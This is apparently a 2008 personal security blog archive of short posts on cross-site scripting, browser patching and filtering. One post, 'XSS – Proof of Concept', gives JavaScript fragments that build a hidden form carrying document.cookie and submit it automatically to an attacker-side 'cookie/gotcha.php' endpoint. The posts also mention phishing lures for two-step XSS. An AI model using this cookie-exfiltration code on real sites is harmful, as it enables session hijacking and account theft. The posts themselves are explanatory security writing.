Diary of Michael Daw » XSSing

Browser Diligency

wooshy — Tue, 15 Jul 2008 00:08:22 +0000

A recent study has shown that 83.3% of firefox users are running the latest version, whilst only 47.6% of IE users are running the latest patched version. The report suggested that legacy entrprise applications maybe to blame. Some legacy software don’t allow software updates. But I’d throw in that firefox can download and install the latest version for you, which doesn’t appear to be the case for IE.

But look here Microsoft claim IE8 is more trustworthy now! after they have just fixed a code injection problem with vista.

Scripts in ASF files

wooshy — Wed, 09 Jul 2008 22:01:40 +0000

A classic trick is to embed a script or text in a file with different extension. For example, saving a text file as jpg. When the browser comes to look it, it will likely try to resolve it as jpg. But there is a plethora of extensions out there. Some extensions activate applications (e.g. acrobat, windows media player), which read data in their own special way.
For Advanced Systems Format (ASF), the format uses combination of media and text streams. URLs can be embedded in a malicious ASF files, which point to malware. Anti-virus software should pick up. But there should really be checks on the contents on the ASF file itself, which should stop surfing off to the Internet. A sans.org reader wrote a simple tool for this.

Take XSS to the bank

wooshy — Sat, 05 Jul 2008 13:33:28 +0000

Looks like HSBC has a number of scripting flaws.

Security sites and XSS

wooshy — Tue, 24 Jun 2008 23:08:00 +0000

You should always practice what you preach and the giants are not doing that all… Check out xssed! Versign, McAfee and Symantec have been found to be vulnerable according to the ‘hacker safe’ certification does not cover all XSS according to holisticinfosec.org.

1-step, 2-step XSS! (Part II)

wooshy — Tue, 27 May 2008 23:31:39 +0000

I neglected to mention in the original post what the implications of two-step XSS there are.

The behaviour of some website to put in viewstate and cookies may well be used to fight CSRF. If that’s the case, it may be possible to inject malformed strings into the viewstate by forcing errors. So you may well see more of this, if people are fighting the difficult problem of CSRF. The viewstate is usually handled by the framework, so it looks like you can’t rely on the framework on everything! All I can really suggest is make sure if anything is echoed back to the user, it must be checked and filtered.

The only way to utilise the two-step attack is probably through phishing emails and getting the user to click on both links. This can be easily be done by simply saying try the first link first and if that fails, try the second.

1-step, 2-step XSS!

wooshy — Sat, 24 May 2008 18:44:16 +0000

Everyone in security knows about XSS where malformed strings in the form of code can be injected into parameters of pages. But something that has been seen lately by yours truly is a two-step XSS attack. The basic idea is to inject malformed strings and script tgs into one page and then view another page, which will spit back the injected parameters.

A classic example is a registration application. I would enter my details including a malformed string. When the application is sent, it is likely to be stored on the server. When another page (e.g. a contacts page) accesses this information, it will display the malformed string. There you have an indirect two-step XSS.

Another scenario that I have seen is where a malformed string is injected into a query parameter and an error message is returned. However, when connecting to another page on the site, the injected parameter is realised and XSS occurs. Something is definitely happening on the server. Simple navigation around the website does not normally cause this issue.

Why is this happening?

Well whilst looking at another website that the pieces of the puzzle fit into the place. When attempting to inject a parameter, an error page was returned. On deeper insection, it was noted that when a page is called, a number of page requests were made. Using one of those page requests, code was injected. However, the parameter was reset to the original parameters. These parameters were stored in a hidden viewstate field.

What does this mean?

If a page is called, it may well reuse whatever was set by a hidden viewstate or even a cookie. If that is the case, if you can inject a script tag and cause an error, it could be stored in the viewstate field and reused. This is a bit like when a program crashes, whatever was last on the program stack is remembered and used in debugging for example. The debugger may crash or even cause a buffer overflow when the program stack is assessed if it does not do proper sanitisation.

Javascript Filtering

wooshy — Fri, 02 Nov 2007 07:14:22 +0000

It’s the first time, I’ve seen a page that modifies Javascript on-the-fly to prevent it from causing XSS. So kudos to Juniper for getting their SSL VPN solution to work so well. The clever thing is that when a externally referenced page is loaded, the Juniper Javascript is used to modify the Javascript references in the external page. The Juniper Javascript are in files loaded from the SSL VPN server and perhaps more importantly, they are loaded up first before any action from the external page takes place. The SSL Javascript has code to assess DOM objects and deny any general skulduggery.
There maybe ways to break it, including blatting out each and overriding every function and possibly using the

XSS – Proof of Concept

wooshy — Fri, 02 Nov 2007 07:08:50 +0000

This goes back to the post about XSS tutorial and filtering.
Now as you may know, the litmus test for XSS is . However, this proof may not satisify some companies who will handwave it off, claiming its not their problem. Allowing vulnerable code to be executed at your website is definitely in their court!
I had to prepare myself for the careless attitude to XSS for a client by devising a proof of concept. Naturally in the end, I didn’t need to. But still, it is a worthwhile exercise.
The bog standard way to use XSS is as a phishing attack. That is to generate a secondary website through client-side scripting, which could look like the current site. Only any details submitted would be to an attacker site. Alternatively, your site could be used as a place for a phishing attack on a different website. This stepping stone style attack will probably cause more embarrassment than anything else.
But I was thinking, “Can you still make a XSS script attack to automatically upload information?”. The short answer is yes, you can! This is despite well-documented fixes to iframes and htmlrequests.
Initially, I thought of three different ways to send information by simply visiting a URL with XSS.
1. window.location
2. meta refresh
3. form submit
The first one does work. Of course, you do get redirected to another location, i.e. the attacker site. However, the attacker can have a page or script that bounces the user back to the attacked site.
The second one doesn’t work. You can create a meta tag object and populate its attributes. However, nothing appears to happen. This probably makes sense, as a page without the meta refresh is already loaded. Simply adding a meta tag object is going to load anything. The following is some code fragment for this.

var meta1 = document.createElement(’’);
var a;
a = document.createAttribute(’HTTP-EQUIV’);
a.nodeValue = “Refresh”;
meta1.setAttributeNode(a);

a = document.createAttribute(’CONTENT’);
a.nodeValue = “2; URL=http://www.htmlhelp.com/”;
meta1.setAttributeNode(a);

The final one does work. Internet Explorer will inform the user that you transferring to another site. However, Firefox does not appear to do this. Yes, you can create form and then incorporate any information from the attacked site into it and then submit on-the-fly. The following is code fragment from a script I wrote (please note that setAttributes method is simply a function that takes an object and an attribute (hash) array and populates that object with those attributes.

var form1 = document.createElement(’
’);
var a = new Array();
a['action'] = “http://…/cookie/gotcha.php”;
a['method'] = “get”;
a['name'] = “t”;
this.setAttributes(form1,a);

form1.appendChild(input);

input = document.createElement(’’);
a = new Array();
a['name'] = “cookie2″;
a['type'] = “hidden”;
a['value'] = document.cookie;
this.setAttributes(input,a);

form1.appendChild(input);

If the same cross-domain fix that is applied to iframes and httprequests is used. This would stop main sites from using form and scripts from other popular sites. For example, the google search on the right hand side of this very page would not work! So due to lingustics, I don’t think that the cross domain approach can be used here.

As an aside, there are a lot of Javascript methods that can be used to do a lot of rendering for your web browser.

I’ve not quite got the Proof of Concept perfect (i.e. the server side needs to redirect to the attacked site) But I mentioning it now because there has been discussions about this already on gnucitizen. This talks bout another a way to send information to a foreign site without user intervention using the weakness in image tags and timeouts. I would go further to say that the weakness lies in the ’src’ property of that tag. And even though this is unproven, I reckon other pluggable tags are affected. Some tags with the src property include applet, embed, img, input type=image, object, xml.

Never trust a stranger…

wooshy — Sat, 27 Oct 2007 17:53:53 +0000

No it’s not about stalking, this time. But trust relationships are firmly on my mind and I ain’t talking about my private life neither!
As you may know there’s lots of trust relationships in computing. Those of you who love Microsoft would know about trust relationships from back in the day. And to me, they are truly something to think about (and has been thought about) when dealing with web applications and weaknesses in them. As well documented, cross domain security issues relating to iframes and recently htmlrequests (xmlhttprequest). The latter allows absolute URLs in the open method. However, it’s almost useless and rarely used now as URIs are converted into the domain that the page resides from.

For an attacker (or in my case, developing a proof-of-concept) to exploit XSS so that information (e.g. cookies) is sent to the attacker’s site, the httprequest looks like it is blocked. The standard XSS-phishing site attack will always be available but this requires user intervention (or dumbness). However, the question is “Can you still make a XSS script attack to automatically upload information?” With iframes and httprequests obviously out of the question, this looks hard! Though, I can still think of 3 or 4 ways around this, I need to try them out first. But let’s just say, you have to go oldskule for most of these ideas. Mind you, if you and I can think of any, they are probably blocked…

On the flipside to this, this makes it very awkward for sharing information between sites on-the-fly, which is the key to web2.0, (social networks, blogs, etc). The work around is to incorporate sharing information techniques in server-side scripts rather than client-side. This could be opened up slightly by having… yes you’ve guessed it… “trust relationships”. A site could instill certain friendly domains as part of the server-side scripts to client browsers. The problem with this though is, it has to be enforced that the trust domains cannot be changed at the client.

XSS tutorial & filtering

wooshy — Thu, 25 Oct 2007 13:30:59 +0000

I found this interesting site on XSS. It’s a good tutorial if you want to show a newbie/novice something. And certainly demonstrates XSS and cookie stealing quite handily.

http://www.steve.org.uk/Hacks/XSS/index.html

It’s a bit thin on the xss filtering side. There really should be a white paper on XSS filtering techniques. If not, why the hell not! The following looks like a good start…

http://www.ihtb.org/security/xss_hacking_exposed.txt